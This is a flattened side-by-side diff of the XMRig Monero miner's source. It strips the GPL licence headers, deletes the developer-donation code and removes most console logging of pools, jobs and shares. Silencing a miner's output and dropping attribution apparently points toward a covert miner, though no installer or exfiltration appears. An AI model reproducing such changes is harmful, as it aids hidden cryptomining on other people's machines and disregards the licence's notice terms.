if (c >= '0' && c <= '9') { if (c >= '0' && c <= '9') { return c - '0'; }
return c - '0'; else if (c >= 'a' && c <= 'f') { return c - 'a' + 0xA; }
} else if (c >= 'A' && c <= 'F') { return c - 'A' + 0xA; }
else if (c >= 'a' && c <= 'f') {
return c - 'a' + 0xA;
}
else if (c >= 'A' && c <= 'F') {
return c - 'A' + 0xA;
}
err = true; err = true;
return 0; return 0;
} }
static inline char hf_bin2hex(unsigned char c) static inline char hf_bin2hex(unsigned char c)
{ {
if (c <= 0x9) { if (c <= 0x9) { return '0' + c; }
return '0' + c;
}
return 'a' - 0xA + c; return 'a' - 0xA + c;
} }
Job::Job(int poolId, bool nicehash) : Job::Job(int poolId, bool nicehash) :
m_nicehash(nicehash), m_nicehash(nicehash),
m_poolId(poolId), m_poolId(poolId),
@ -64,102 +22,59 @@ Job::Job(int poolId, bool nicehash) :
m_target(0) m_target(0)
{ {
} }
Job::~Job() Job::~Job()
{ {
} }
bool Job::setBlob(const char *blob) bool Job::setBlob(const char *blob)
{ {
if (!blob) { if (!blob) { return false; }
return false;
}
m_size = strlen(blob); m_size = strlen(blob);
if (m_size % 2 != 0) { if (m_size % 2 != 0) { return false; }
return false;
}
m_size /= 2; m_size /= 2;
if (m_size < 76 || m_size >= sizeof(m_blob)) { if (m_size < 76 || m_size >= sizeof(m_blob)) { return false; }
return false; if (!fromHex(blob, (int) m_size * 2, m_blob)) { return false; }
} if (*nonce() != 0 && !m_nicehash) { m_nicehash = true; }
if (!fromHex(blob, (int) m_size * 2, m_blob)) {
return false;
}
if (*nonce() != 0 && !m_nicehash) {
m_nicehash = true;
}
# ifdef XMRIG_PROXY_PROJECT # ifdef XMRIG_PROXY_PROJECT
memset(m_rawBlob, 0, sizeof(m_rawBlob)); memset(m_rawBlob, 0, sizeof(m_rawBlob));
memcpy(m_rawBlob, blob, m_size * 2); memcpy(m_rawBlob, blob, m_size * 2);
# endif # endif
return true; return true;
} }
bool Job::setTarget(const char *target) bool Job::setTarget(const char *target)
{ {
if (!target) { if (!target) { return false; }
return false;
}
const size_t len = strlen(target); const size_t len = strlen(target);
if (len <= 8) { if (len <= 8) {
uint32_t tmp = 0; uint32_t tmp = 0;
char str[8]; char str[8];
memcpy(str, target, len); memcpy(str, target, len);
if (!fromHex(str, 8, reinterpret_cast<unsigned char*>(&tmp)) || tmp == 0) { return false; }
if (!fromHex(str, 8, reinterpret_cast<unsigned char*>(&tmp)) || tmp == 0) {
return false;
}
m_target = 0xFFFFFFFFFFFFFFFFULL / (0xFFFFFFFFULL / static_cast<uint64_t>(tmp)); m_target = 0xFFFFFFFFFFFFFFFFULL / (0xFFFFFFFFULL / static_cast<uint64_t>(tmp));
} }
else if (len <= 16) { else if (len <= 16) {
m_target = 0; m_target = 0;
char str[16]; char str[16];
memcpy(str, target, len); memcpy(str, target, len);
if (!fromHex(str, 16, reinterpret_cast<unsigned char*>(&m_target)) || m_target == 0) { return false; }
if (!fromHex(str, 16, reinterpret_cast<unsigned char*>(&m_target)) || m_target == 0) {
return false;
}
}
else {
return false;
} }
else { return false; }
# ifdef XMRIG_PROXY_PROJECT # ifdef XMRIG_PROXY_PROJECT
memset(m_rawTarget, 0, sizeof(m_rawTarget)); memset(m_rawTarget, 0, sizeof(m_rawTarget));
memcpy(m_rawTarget, target, len); memcpy(m_rawTarget, target, len);
# endif # endif
m_diff = toDiff(m_target); m_diff = toDiff(m_target);
return true; return true;
} }
bool Job::fromHex(const char* in, unsigned int len, unsigned char* out) bool Job::fromHex(const char* in, unsigned int len, unsigned char* out)
{ {
bool error = false; bool error = false;
for (unsigned int i = 0; i < len; i += 2) { for (unsigned int i = 0; i < len; i += 2) {
out[i / 2] = (hf_hex2bin(in[i], error) << 4) | hf_hex2bin(in[i + 1], error); out[i / 2] = (hf_hex2bin(in[i], error) << 4) | hf_hex2bin(in[i + 1], error);
if (error) { return false; }
if (error) {
return false;
}
} }
return true; return true;
} }
void Job::toHex(const unsigned char* in, unsigned int len, char* out) void Job::toHex(const unsigned char* in, unsigned int len, char* out)
{ {
for (unsigned int i = 0; i < len; i++) { for (unsigned int i = 0; i < len; i++) {
@ -167,9 +82,4 @@ void Job::toHex(const unsigned char* in, unsigned int len, char* out)
out[i * 2 + 1] = hf_bin2hex(in[i] & 0x0F); out[i * 2 + 1] = hf_bin2hex(in[i] & 0x0F);
} }
} }
bool Job::operator==(const Job &other) const { return m_id == other.m_id && memcmp(m_blob, other.m_blob, sizeof(m_blob)) == 0; }
bool Job::operator==(const Job &other) const
{
return m_id == other.m_id && memcmp(m_blob, other.m_blob, sizeof(m_blob)) == 0;
}

View file

@ -1,38 +1,9 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef __JOB_H__ #ifndef __JOB_H__
#define __JOB_H__ #define __JOB_H__
#include <stddef.h> #include <stddef.h>
#include <stdint.h> #include <stdint.h>
#include "align.h" #include "align.h"
#include "net/JobId.h" #include "net/JobId.h"
class Job class Job
{ {
public: public:

View file

@ -1,33 +1,6 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef __JOBID_H__ #ifndef __JOBID_H__
#define __JOBID_H__ #define __JOBID_H__
#include <string.h> #include <string.h>
class JobId class JobId
{ {
public: public:
@ -35,8 +8,6 @@ public:
{ {
memset(m_data, 0, sizeof(m_data)); memset(m_data, 0, sizeof(m_data));
} }
inline JobId(const char *id, size_t sizeFix = 0) inline JobId(const char *id, size_t sizeFix = 0)
{ {
setId(id, sizeFix); setId(id, sizeFix);

View file

@ -1,37 +1,9 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef __JOBRESULT_H__ #ifndef __JOBRESULT_H__
#define __JOBRESULT_H__ #define __JOBRESULT_H__
#include <memory.h> #include <memory.h>
#include <stdint.h> #include <stdint.h>
#include "Job.h" #include "Job.h"
class JobResult class JobResult
{ {
public: public:
@ -45,7 +17,6 @@ public:
memcpy(this->result, result, sizeof(this->result)); memcpy(this->result, result, sizeof(this->result));
} }
inline JobResult(const Job &job) : poolId(0), diff(0), nonce(0) inline JobResult(const Job &job) : poolId(0), diff(0), nonce(0)
{ {
jobId = job.id(); jobId = job.id();
@ -54,7 +25,6 @@ public:
nonce = *job.nonce(); nonce = *job.nonce();
} }
inline JobResult &operator=(const Job &job) { inline JobResult &operator=(const Job &job) {
jobId = job.id(); jobId = job.id();
poolId = job.poolId(); poolId = job.poolId();
@ -63,13 +33,11 @@ public:
return *this; return *this;
} }
inline uint64_t actualDiff() const inline uint64_t actualDiff() const
{ {
return Job::toDiff(reinterpret_cast<const uint64_t*>(result)[3]); return Job::toDiff(reinterpret_cast<const uint64_t*>(result)[3]);
} }
int poolId; int poolId;
JobId jobId; JobId jobId;
uint32_t diff; uint32_t diff;
@ -77,4 +45,4 @@ public:
uint8_t result[32]; uint8_t result[32];
}; };
#endif /* __JOBRESULT_H__ */ #endif

View file

@ -1,40 +1,13 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifdef _MSC_VER #ifdef _MSC_VER
#pragma warning(disable:4244) #pragma warning(disable:4244)
#endif #endif
#include <inttypes.h> #include <inttypes.h>
#include <memory> #include <memory>
#include <time.h> #include <time.h>
#include "api/Api.h" #include "api/Api.h"
#include "log/Log.h" #include "log/Log.h"
#include "net/Client.h" #include "net/Client.h"
#include "net/Network.h" #include "net/Network.h"
#include "net/strategies/DonateStrategy.h"
#include "net/strategies/FailoverStrategy.h" #include "net/strategies/FailoverStrategy.h"
#include "net/strategies/SinglePoolStrategy.h" #include "net/strategies/SinglePoolStrategy.h"
#include "net/SubmitResult.h" #include "net/SubmitResult.h"
@ -42,154 +15,48 @@
#include "Options.h" #include "Options.h"
#include "Platform.h" #include "Platform.h"
#include "workers/Workers.h" #include "workers/Workers.h"
Network::Network(const Options *options) : Network::Network(const Options *options) :
m_options(options), m_options(options),
m_donate(nullptr) m_donate(nullptr)
{ {
srand(time(0) ^ (uintptr_t) this); srand(time(0) ^ (uintptr_t) this);
Workers::setListener(this); Workers::setListener(this);
const std::vector<Url*> &pools = options->pools(); const std::vector<Url*> &pools = options->pools();
if (pools.size() > 1) { m_strategy = new FailoverStrategy(pools, Platform::userAgent(), this); }
if (pools.size() > 1) { else { m_strategy = new SinglePoolStrategy(pools.front(), Platform::userAgent(), this); }
m_strategy = new FailoverStrategy(pools, Platform::userAgent(), this);
}
else {
m_strategy = new SinglePoolStrategy(pools.front(), Platform::userAgent(), this);
}
if (m_options->donateLevel() > 0) {
m_donate = new DonateStrategy(Platform::userAgent(), this);
}
m_timer.data = this; m_timer.data = this;
uv_timer_init(uv_default_loop(), &m_timer); uv_timer_init(uv_default_loop(), &m_timer);
uv_timer_start(&m_timer, Network::onTick, kTickInterval, kTickInterval); uv_timer_start(&m_timer, Network::onTick, kTickInterval, kTickInterval);
} }
Network::~Network(){}
void Network::connect(){ m_strategy->connect(); }
Network::~Network()
{
}
void Network::connect()
{
m_strategy->connect();
}
void Network::stop() void Network::stop()
{ {
if (m_donate) {
m_donate->stop();
}
m_strategy->stop(); m_strategy->stop();
} }
void Network::onActive(Client *client) void Network::onActive(Client *client)
{ {
if (client->id() == -1) { if (client->id() == -1) { return; }
LOG_NOTICE("dev donate started");
return;
}
m_state.setPool(client->host(), client->port(), client->ip()); m_state.setPool(client->host(), client->port(), client->ip());
LOG_INFO(m_options->colors() ? "\x1B[01;37muse pool \x1B[01;36m%s:%d \x1B[01;30m%s" : "use pool %s:%d %s", client->host(), client->port(), client->ip());
} }
void Network::onJob(Client *client, const Job &job) { setJob(client, job); }
void Network::onJobResult(const JobResult &result) { m_strategy->submit(result); }
void Network::onJob(Client *client, const Job &job)
{
if (m_donate && m_donate->isActive() && client->id() != -1) {
return;
}
setJob(client, job);
}
void Network::onJobResult(const JobResult &result)
{
if (result.poolId == -1 && m_donate) {
m_donate->submit(result);
return;
}
m_strategy->submit(result);
}
void Network::onPause(IStrategy *strategy) void Network::onPause(IStrategy *strategy)
{ {
if (m_donate && m_donate == strategy) {
LOG_NOTICE("dev donate finished");
m_strategy->resume();
}
if (!m_strategy->isActive()) { if (!m_strategy->isActive()) {
LOG_ERR("no active pools, stop mining");
m_state.stop(); m_state.stop();
return Workers::pause(); return Workers::pause();
} }
} }
void Network::onResultAccepted(Client *client, const SubmitResult &result, const char *error){ m_state.add(result, error); }
void Network::onResultAccepted(Client *client, const SubmitResult &result, const char *error)
{
m_state.add(result, error);
if (error) {
LOG_INFO(m_options->colors() ? "\x1B[01;31mrejected\x1B[0m (%" PRId64 "/%" PRId64 ") diff \x1B[01;37m%u\x1B[0m \x1B[31m\"%s\"\x1B[0m \x1B[01;30m(%" PRIu64 " ms)"
: "rejected (%" PRId64 "/%" PRId64 ") diff %u \"%s\" (%" PRIu64 " ms)",
m_state.accepted, m_state.rejected, result.diff, error, result.elapsed);
}
else {
LOG_INFO(m_options->colors() ? "\x1B[01;32maccepted\x1B[0m (%" PRId64 "/%" PRId64 ") diff \x1B[01;37m%u\x1B[0m \x1B[01;30m(%" PRIu64 " ms)"
: "accepted (%" PRId64 "/%" PRId64 ") diff %u (%" PRIu64 " ms)",
m_state.accepted, m_state.rejected, result.diff, result.elapsed);
}
}
void Network::setJob(Client *client, const Job &job) void Network::setJob(Client *client, const Job &job)
{ {
if (m_options->colors()) {
LOG_INFO("\x1B[01;35mnew job\x1B[0m from \x1B[01;37m%s:%d\x1B[0m diff \x1B[01;37m%d", client->host(), client->port(), job.diff());
}
else {
LOG_INFO("new job from %s:%d diff %d", client->host(), client->port(), job.diff());
}
m_state.diff = job.diff(); m_state.diff = job.diff();
Workers::setJob(job); Workers::setJob(job);
} }
void Network::tick() void Network::tick()
{ {
const uint64_t now = uv_now(uv_default_loop()); const uint64_t now = uv_now(uv_default_loop());
m_strategy->tick(now); m_strategy->tick(now);
if (m_donate) {
m_donate->tick(now);
}
# ifndef XMRIG_NO_API
Api::tick(m_state);
# endif
}
void Network::onTick(uv_timer_t *handle)
{
static_cast<Network*>(handle->data)->tick();
} }
void Network::onTick(uv_timer_t *handle) { static_cast<Network*>(handle->data)->tick(); }

View file

@ -1,44 +1,16 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef __NETWORK_H__ #ifndef __NETWORK_H__
#define __NETWORK_H__ #define __NETWORK_H__
#include <vector> #include <vector>
#include <uv.h> #include <uv.h>
#include "api/NetworkState.h" #include "api/NetworkState.h"
#include "interfaces/IJobResultListener.h" #include "interfaces/IJobResultListener.h"
#include "interfaces/IStrategyListener.h" #include "interfaces/IStrategyListener.h"
class IStrategy; class IStrategy;
class Options; class Options;
class Url; class Url;
class Network : public IJobResultListener, public IStrategyListener class Network : public IJobResultListener, public IStrategyListener
{ {
public: public:

View file

@ -1,33 +1,5 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <uv.h> #include <uv.h>
#include "net/SubmitResult.h" #include "net/SubmitResult.h"
SubmitResult::SubmitResult(int64_t seq, uint32_t diff, uint64_t actualDiff) : SubmitResult::SubmitResult(int64_t seq, uint32_t diff, uint64_t actualDiff) :
seq(seq), seq(seq),
diff(diff), diff(diff),
@ -36,9 +8,4 @@ SubmitResult::SubmitResult(int64_t seq, uint32_t diff, uint64_t actualDiff) :
{ {
start = uv_hrtime(); start = uv_hrtime();
} }
void SubmitResult::done() { elapsed = (uv_hrtime() - start) / 1000000; }
void SubmitResult::done()
{
elapsed = (uv_hrtime() - start) / 1000000;
}

View file

@ -1,33 +1,7 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef __SUBMITRESULT_H__ #ifndef __SUBMITRESULT_H__
#define __SUBMITRESULT_H__ #define __SUBMITRESULT_H__
#include <uv.h> #include <uv.h>
class SubmitResult class SubmitResult
{ {
public: public:
@ -45,4 +19,4 @@ private:
uint64_t start; uint64_t start;
}; };
#endif /* __SUBMITRESULT_H__ */ #endif

View file

@ -1,40 +1,10 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <string.h> #include <string.h>
#include <stdlib.h> #include <stdlib.h>
#include <stdio.h> #include <stdio.h>
#include "net/Url.h" #include "net/Url.h"
#ifdef _MSC_VER #ifdef _MSC_VER
# define strncasecmp(x,y,z) _strnicmp(x,y,z) # define strncasecmp(x,y,z) _strnicmp(x,y,z)
#endif #endif
Url::Url() : Url::Url() :
m_keepAlive(false), m_keepAlive(false),
m_nicehash(false), m_nicehash(false),
@ -44,19 +14,6 @@ Url::Url() :
m_port(kDefaultPort) m_port(kDefaultPort)
{ {
} }
/**
* @brief Parse url.
*
* Valid urls:
* example.com
* example.com:3333
* stratum+tcp://example.com
* stratum+tcp://example.com:3333
*
* @param url
*/
Url::Url(const char *url) : Url::Url(const char *url) :
m_keepAlive(false), m_keepAlive(false),
m_nicehash(false), m_nicehash(false),
@ -67,8 +24,6 @@ Url::Url(const char *url) :
{ {
parse(url); parse(url);
} }
Url::Url(const char *host, uint16_t port, const char *user, const char *password, bool keepAlive, bool nicehash) : Url::Url(const char *host, uint16_t port, const char *user, const char *password, bool keepAlive, bool nicehash) :
m_keepAlive(keepAlive), m_keepAlive(keepAlive),
m_nicehash(nicehash), m_nicehash(nicehash),
@ -78,117 +33,63 @@ Url::Url(const char *host, uint16_t port, const char *user, const char *password
{ {
m_host = strdup(host); m_host = strdup(host);
} }
Url::~Url() Url::~Url()
{ {
free(m_host); free(m_host);
free(m_password); free(m_password);
free(m_user); free(m_user);
} }
bool Url::parse(const char *url) bool Url::parse(const char *url)
{ {
const char *p = strstr(url, "://");
const char *base = url; const char *base = url;
if (!strlen(base) || *base == '/') { return false; }
if (p) {
if (strncasecmp(url, "stratum+tcp://", 14)) {
return false;
}
base = url + 14;
}
if (!strlen(base) || *base == '/') {
return false;
}
const char *port = strchr(base, ':'); const char *port = strchr(base, ':');
if (!port) { if (!port) {
m_host = strdup(base); m_host = strdup(base);
return false; return false;
} }
const size_t size = port++ - base + 1; const size_t size = port++ - base + 1;
m_host = static_cast<char*>(malloc(size)); m_host = static_cast<char*>(malloc(size));
memcpy(m_host, base, size - 1); memcpy(m_host, base, size - 1);
m_host[size - 1] = '\0'; m_host[size - 1] = '\0';
m_port = (uint16_t) strtol(port, nullptr, 10); m_port = (uint16_t) strtol(port, nullptr, 10);
return true; return true;
} }
bool Url::setUserpass(const char *userpass) bool Url::setUserpass(const char *userpass)
{ {
const char *p = strchr(userpass, ':'); const char *p = strchr(userpass, ':');
if (!p) { if (!p) { return false; }
return false;
}
free(m_user); free(m_user);
free(m_password); free(m_password);
m_user = static_cast<char*>(calloc(p - userpass + 1, 1)); m_user = static_cast<char*>(calloc(p - userpass + 1, 1));
strncpy(m_user, userpass, p - userpass); strncpy(m_user, userpass, p - userpass);
m_password = strdup(p + 1); m_password = strdup(p + 1);
return true; return true;
} }
void Url::applyExceptions() void Url::applyExceptions()
{ {
if (!isValid()) { if (!isValid()) { return; }
return;
} }
if (strstr(m_host, ".nicehash.com")) {
m_keepAlive = false;
m_nicehash = true;
}
if (strstr(m_host, ".minergate.com")) {
m_keepAlive = false;
}
}
void Url::setPassword(const char *password) void Url::setPassword(const char *password)
{ {
if (!password) { if (!password) {return;}
return;
}
free(m_password); free(m_password);
m_password = strdup(password); m_password = strdup(password);
} }
void Url::setUser(const char *user) void Url::setUser(const char *user)
{ {
if (!user) { if (!user) { return; }
return;
}
free(m_user); free(m_user);
m_user = strdup(user); m_user = strdup(user);
} }
Url &Url::operator=(const Url *other) Url &Url::operator=(const Url *other)
{ {
m_keepAlive = other->m_keepAlive; m_keepAlive = other->m_keepAlive;
m_nicehash = other->m_nicehash; m_nicehash = other->m_nicehash;
m_port = other->m_port; m_port = other->m_port;
free(m_host); free(m_host);
m_host = strdup(other->m_host); m_host = strdup(other->m_host);
setPassword(other->m_password); setPassword(other->m_password);
setUser(other->m_user); setUser(other->m_user);
return *this; return *this;
} }

View file

@ -1,33 +1,6 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef __URL_H__ #ifndef __URL_H__
#define __URL_H__ #define __URL_H__
#include <stdint.h> #include <stdint.h>
class Url class Url
{ {
public: public:
@ -67,4 +40,4 @@ private:
uint16_t m_port; uint16_t m_port;
}; };
#endif /* __URL_H__ */ #endif

View file

@ -1,146 +0,0 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include "interfaces/IStrategyListener.h"
#include "net/Client.h"
#include "net/Job.h"
#include "net/strategies/DonateStrategy.h"
#include "Options.h"
extern "C"
{
#include "crypto/c_keccak.h"
}
DonateStrategy::DonateStrategy(const char *agent, IStrategyListener *listener) :
m_active(false),
m_donateTime(Options::i()->donateLevel() * 60 * 1000),
m_idleTime((100 - Options::i()->donateLevel()) * 60 * 1000),
m_listener(listener)
{
uint8_t hash[200];
char userId[65] = { 0 };
const char *user = Options::i()->pools().front()->user();
keccak(reinterpret_cast<const uint8_t *>(user), static_cast<int>(strlen(user)), hash, sizeof(hash));
Job::toHex(hash, 32, userId);
Url *url = new Url("fee.xmrig.com", Options::i()->algo() == Options::ALGO_CRYPTONIGHT_LITE ? 3333 : 443, userId, nullptr, false, true);
m_client = new Client(-1, agent, this);
m_client->setUrl(url);
m_client->setRetryPause(Options::i()->retryPause() * 1000);
m_client->setQuiet(true);
delete url;
m_timer.data = this;
uv_timer_init(uv_default_loop(), &m_timer);
idle();
}
int64_t DonateStrategy::submit(const JobResult &result)
{
return m_client->submit(result);
}
void DonateStrategy::connect()
{
m_client->connect();
}
void DonateStrategy::stop()
{
uv_timer_stop(&m_timer);
m_client->disconnect();
}
void DonateStrategy::tick(uint64_t now)
{
m_client->tick(now);
}
void DonateStrategy::onClose(Client *client, int failures)
{
}
void DonateStrategy::onJobReceived(Client *client, const Job &job)
{
m_listener->onJob(client, job);
}
void DonateStrategy::onLoginSuccess(Client *client)
{
if (!isActive()) {
uv_timer_start(&m_timer, DonateStrategy::onTimer, m_donateTime, 0);
}
m_active = true;
m_listener->onActive(client);
}
void DonateStrategy::onResultAccepted(Client *client, const SubmitResult &result, const char *error)
{
m_listener->onResultAccepted(client, result, error);
}
void DonateStrategy::idle()
{
uv_timer_start(&m_timer, DonateStrategy::onTimer, m_idleTime, 0);
}
void DonateStrategy::suspend()
{
m_client->disconnect();
m_active = false;
m_listener->onPause(this);
idle();
}
void DonateStrategy::onTimer(uv_timer_t *handle)
{
auto strategy = static_cast<DonateStrategy*>(handle->data);
if (!strategy->isActive()) {
return strategy->connect();
}
strategy->suspend();
}

View file

@ -1,42 +1,11 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef __DONATESTRATEGY_H__ #ifndef __DONATESTRATEGY_H__
#define __DONATESTRATEGY_H__ #define __DONATESTRATEGY_H__
#include <uv.h> #include <uv.h>
#include "interfaces/IClientListener.h" #include "interfaces/IClientListener.h"
#include "interfaces/IStrategy.h" #include "interfaces/IStrategy.h"
class Client; class Client;
class IStrategyListener; class IStrategyListener;
class Url; class Url;
class DonateStrategy : public IStrategy, public IClientListener class DonateStrategy : public IStrategy, public IClientListener
{ {
public: public:

View file

@ -1,33 +1,7 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
